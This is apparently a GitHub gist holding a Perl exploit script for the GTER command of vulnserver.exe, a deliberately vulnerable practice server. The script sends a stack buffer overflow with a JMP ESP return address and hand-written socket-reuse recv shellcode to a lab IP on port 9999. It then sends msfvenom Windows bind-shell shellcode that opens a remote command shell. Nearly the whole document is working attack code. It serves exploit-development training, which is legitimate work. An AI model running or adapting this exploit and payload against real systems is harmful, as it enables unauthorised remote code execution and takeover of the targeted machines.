Created
February 5, 2020 02:31
-
-
Save 0xbadjuju/2f9447627fe8152c5c17b47e843f0ac3 to your computer and use it in GitHub Desktop.
vulnserver.exe GTER
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
use strict; | |
use warnings; | |
use Encode qw/encode/; | |
use Socket; | |
my $target = inet_aton("192.168.99.144"); | |
my $port = 9999; | |
my $portaddr = sockaddr_in($port, $target); | |
#Stage 1 | |
my $header = "GTER /.:/"; | |
# 00401953 | |
# E8 D40B0000 CALL <JMP.&WS2_32.recv> | |
my $recv = | |
# xor ecx, ecx | |
# add cl, 50 | |
# push ecx | |
# mov edi, esp | |
# sub esp, 50 | |
# push edx | |
# add dh, 02 | |
# push edx | |
"\x31\xc9" . | |
"\x80\xc1\x50" . | |
"\x51" . | |
"\x89\xe7" . | |
"\x83\xec\x50" . | |
"\x52" . | |
"\x80\xc6\x02" . | |
"\x52" . | |
# push esp | |
# pop edx | |
# add edx, 70 | |
# push edx | |
# push dword ptr ds:[edi] | |
# mov edx, 40252c | |
# shr edx | |
"\x54" . | |
"\x5A" . | |
"\x83\xc2\x70" . | |
"\x52" . | |
"\xff\x37" . | |
"\xba\x11\x2c\x25\x40" . | |
"\xc1\xea\x08"; | |
#jmp short 74 | |
my $recv_jmp = | |
"\xeb\x09"; | |
# call edx | |
my $recv_call = | |
"\xff\xd2"; | |
my $padding1 = "A" x (147 - length($recv) - 2); | |
# [*] Exact match at offset 143 | |
# my $ebp = "CCCC"; | |
# [*] Exact match at offset 147 | |
# 625011AF FFE4 JMP ESP | |
my $eip = "\xAF\x11\x50\x62" ; | |
my $jmplong = "\xE9\x64\xFF\xFF\xFF"; | |
my $padding2 = "B" x 50; | |
my $Stage1 = $header . $padding1 . $recv . $recv_jmp . $eip . $jmplong . $recv_call . $padding2; | |
socket(SOCKET,PF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "Can't create a socket $!\n"; | |
connect(SOCKET , $portaddr) or die "Unable to connect to socket $!\n"; | |
recv(SOCKET, my $recieve1, 500, 0); | |
print $recieve1 . "\r\n"; | |
print $Stage1 . "\r\n"; | |
send(SOCKET, $Stage1, 0) == length($Stage1) or die "cannot send to $target($port): $!"; | |
my $slide = "\x90" x 4; | |
# msfvenom -p windows/shell_bind_tcp -f perl | |
my $payload = | |
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" . | |
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" . | |
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" . | |
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" . | |
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" . | |
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" . | |
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" . | |
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" . | |
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" . | |
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" . | |
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" . | |
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" . | |
"\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40\x50\x68" . | |
"\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6" . | |
"\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" . | |
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57" . | |
"\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" . | |
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" . | |
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" . | |
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" . | |
"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" . | |
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" . | |
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" . | |
"\x6f\x6a\x00\x53\xff\xd5"; | |
my $Stage2 = $slide . $payload; | |
send(SOCKET, $Stage2, 0) == length($Stage2) or die "cannot send to $target($port): $!"; | |
close SOCKET or die "close: $!"; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment